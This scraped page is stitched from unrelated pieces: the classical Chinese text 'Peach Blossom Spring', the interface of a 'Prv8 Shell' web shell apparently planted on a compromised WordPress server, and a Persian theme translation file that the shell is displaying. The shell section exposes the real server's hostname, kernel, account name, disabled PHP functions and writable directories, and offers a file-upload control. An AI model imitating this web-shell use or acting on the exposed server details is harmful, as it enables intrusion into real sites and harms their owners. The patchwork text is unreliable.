晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/languages/themes/twentyfifteen-fa_IR.po
# Translation of Themes - Twenty Fifteen in Persian
# This file is distributed under the same license as the Themes - Twenty Fifteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-11-13 22:49:45+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: fa\n"
"Project-Id-Version: Themes - Twenty Fifteen\n"

#. Description of the theme
msgid "Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer."
msgstr "Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer."

#. Theme Name of the theme
msgid "Twenty Fifteen"
msgstr "دو هزار و پانزده"

#: functions.php:243
msgid "Light Blue"
msgstr "آبی روشن"

#: functions.php:238
msgid "Bright Blue"
msgstr "آبی درخشان"

#: functions.php:193
msgid "Light Gray"
msgstr "خاکستری روشن"

#: functions.php:188
msgid "Dark Gray"
msgstr "خاکستری تیره"

#: functions.php:208
msgid "Dark Brown"
msgstr "قهوه‌ای تیره"

#: functions.php:198
msgid "White"
msgstr "سفید"

#: functions.php:218
msgid "Light Pink"
msgstr "صورتی روشن"

#: functions.php:213
msgid "Medium Pink"
msgstr "صورتی متوسط"

#: functions.php:233
msgid "Blue Gray"
msgstr "خاکستری آبی"

#: functions.php:223
msgid "Dark Purple"
msgstr "بنفش تیره"

#. translators: %s: post title
#: comments.php:31
msgctxt "comments title"
msgid "One thought on “%s”"
msgstr "یک دیدگاه در “%s”"

#. translators: %s: post title
#: inc/template-tags.php:130
msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>"
msgstr "<span class=\"screen-reader-text\"> برای %s</span> دیدگاهی بنویسید"

#: single.php:39
msgid "Previous post:"
msgstr "نوشته قبلی:"

#: single.php:38
msgid "Previous"
msgstr "پیشین"

#: single.php:36
msgid "Next post:"
msgstr "نوشته بعدی:"

#: single.php:35
msgid "Next"
msgstr "بعد"

#: search.php:18
msgid "Search Results for: %s"
msgstr "نتایج جستجوی: %s"

#: inc/template-tags.php:120
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "اندازه کامل"

#: inc/template-tags.php:108
msgctxt "Used before tag names."
msgid "Tags"
msgstr "برچسب‌ها"

#: inc/template-tags.php:99
msgctxt "Used before category names."
msgid "Categories"
msgstr "دسته‌ها"

#: inc/template-tags.php:95 inc/template-tags.php:104
msgctxt "Used between list items, there is a space after the comma."
msgid ", "
msgstr ", "

#: inc/template-tags.php:89
msgctxt "Used before post author name."
msgid "Author"
msgstr "نویسنده"

#: inc/template-tags.php:79
msgctxt "Used before publish date."
msgid "Posted on"
msgstr "ارسال شده در"

#: inc/template-tags.php:56
msgctxt "Used before post format."
msgid "Format"
msgstr "ساختار"

#: inc/template-tags.php:49
msgid "Featured"
msgstr "شاخص"

#: inc/template-tags.php:30
msgid "Newer Comments"
msgstr "دیدگاه‌های تازه‌تر"

#: inc/template-tags.php:26
msgid "Older Comments"
msgstr "دیدگاه‌های کهنه‌تر"

#: inc/template-tags.php:23
msgid "Comment navigation"
msgstr "ناوبری دیدگاه"

#: inc/customizer.php:237
msgid "Blue"
msgstr "آبی"

#: inc/customizer.php:226 functions.php:228
msgid "Purple"
msgstr "بنفش"

#: inc/customizer.php:215
msgid "Pink"
msgstr "صورتی"

#: inc/customizer.php:204 functions.php:203
msgid "Yellow"
msgstr "زرد"

#: inc/customizer.php:193
msgid "Dark"
msgstr "تیره"

#: inc/customizer.php:182
msgid "Default"
msgstr " پیش‌فرض"

#: inc/customizer.php:103
msgid "Header and Sidebar Background Color"
msgstr "رنگ پس‌زمینه‌ی سربرگ و ستون‌کناری"

#: inc/customizer.php:79 inc/customizer.php:104 inc/customizer.php:111
msgid "Applied to the header on small screens and the sidebar on wide screens."
msgstr "در نمایشگرهای کوچک روی سربرگ اعمال می‌شود و در نمایشگرهای بزرگ روی ستون‌کناری."

#: inc/customizer.php:78
msgid "Header and Sidebar Text Color"
msgstr "رنگ متن سربرگ و ستون‌کناری"

#: inc/customizer.php:55
msgid "Base Color Scheme"
msgstr "شمای رنگ پایه"

#: inc/back-compat.php:37 inc/back-compat.php:48 inc/back-compat.php:64
msgid "Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again."
msgstr "پوسته‌ی دو هزار و پانزده حداقل به وردپرس ۴,۱ احتیاج دارد. شما از نگارش %s استفاده می‌کنید. لطفاً پس از به‌روزرسانی دوباره تلاش کنید."

#: image.php:88
msgctxt "Parent post link"
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>"
msgstr "<span class=\"meta-nav\">منتشره در</span><span class=\"post-title\">%title</span>"

#: image.php:25
msgid "Next Image"
msgstr "عکس بعدی"

#: image.php:25
msgid "Previous Image"
msgstr "عکس پیشین"

#: header.php:50
msgid "Menu and widgets"
msgstr "فهرست و ابزارک‌ها"

#: header.php:27
msgid "Skip to content"
msgstr "رفتن به نوشته‌ها"

#: functions.php:399
msgid "collapse child menu"
msgstr "بستن زیرفهرست"

#: functions.php:398
msgid "expand child menu"
msgstr "بازکردن زیرفهرست"

#: functions.php:319
msgctxt "Add new subset (greek, cyrillic, devanagari, vietnamese)"
msgid "no-subset"
msgstr " "

#: functions.php:311
msgctxt "Inconsolata font: on or off"
msgid "on"
msgstr "off"

#: functions.php:303
msgctxt "Noto Serif font: on or off"
msgid "on"
msgstr "off"

#: functions.php:295
msgctxt "Noto Sans font: on or off"
msgid "on"
msgstr "on"

#: functions.php:268
msgid "Add widgets here to appear in your sidebar."
msgstr "برای نمایش ابزارک‌ها در ستون‌کناری سایت‌تان، آن‌ها را به اینجا بکشید."

#: functions.php:266
msgid "Widget Area"
msgstr "محدوده ابزارک"

#: functions.php:87
msgid "Social Links Menu"
msgstr "فهرست شبکه‌های اجتماعی"

#: functions.php:86
msgid "Primary Menu"
msgstr "فهرست اصلی"

#: footer.php:31
msgid "Proudly powered by %s"
msgstr "با افتخار نیرو گرفته از %s"

#: content-none.php:31
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "این‌طور به‌نظر می‌رسد که ما نمی‌توانیم چیزی که شما به‌دنبالش هستید پیدا کنیم. شاید جستجو کردن راه بهتری باشد."

#: content-none.php:26
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "بدبختانه جستجوی شما نتیجه‌ای در بر نداشت. با واژگانی دیگر جستجو کنید."

#: content-none.php:22
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "میخواهید اولین نوشته‌ی خود را منتشر کنید؟ <a href=\"%1$s\">از اینجا آغاز کنید</a>. "

#: content-none.php:15
msgid "Nothing Found"
msgstr "چیزی پیدا نشد"

#: content-link.php:60 content-page.php:37 image.php:74 content-search.php:28
#: content-search.php:33 content.php:61
msgid "Edit"
msgstr "ویرایش"

#: content-link.php:39 content-page.php:26 image.php:61 content.php:41
msgid "Pages:"
msgstr "برگه‌ها :"

#. translators: %s: Name of current post
#: inc/template-tags.php:249 content-link.php:32 content.php:34
msgid "Continue reading %s"
msgstr "ادامه خواندن %s"

#: comments.php:71
msgid "Comments are closed."
msgstr "دیدگاه‌ها غیرفعال هستند."

#. translators: 1: number of comments, 2: post title
#: comments.php:35
msgctxt "comments title"
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s دیدگاه در &ldquo;%2$s&rdquo;"

#: author-bio.php:34
msgid "View all posts by %s"
msgstr "نمایش همه‌ی نوشته‌های %s"

#: author-bio.php:12
msgid "Published by"
msgstr "منتشرشده توسط"

#: archive.php:53 content-link.php:43 index.php:50 content-page.php:30
#: image.php:65 content.php:45 search.php:43
msgid "Page"
msgstr "برگه"

#: archive.php:52 index.php:49 search.php:42
msgid "Next page"
msgstr "برگه بعد"

#: archive.php:51 index.php:48 search.php:41
msgid "Previous page"
msgstr "برگه قبل"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "به نظر می‌رسد که چیزی که میخواهید در اینجا پیدا نشد. می‌خواهید جستجو کنید؟"

#: 404.php:17
msgid "Oops! That page can&rsquo;t be found."
msgstr "اوه! این برگه پیدا نمی‌شه."

#. Author of the theme
msgid "the WordPress team"
msgstr "گروه وردپرس فارسی"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentyfifteen/"
msgstr "https://wordpress.org/themes/twentyfifteen/"

#. Author URI of the theme
#: footer.php:30
msgid "https://wordpress.org/"
msgstr "http://wp-persian.com/"

haha - 2025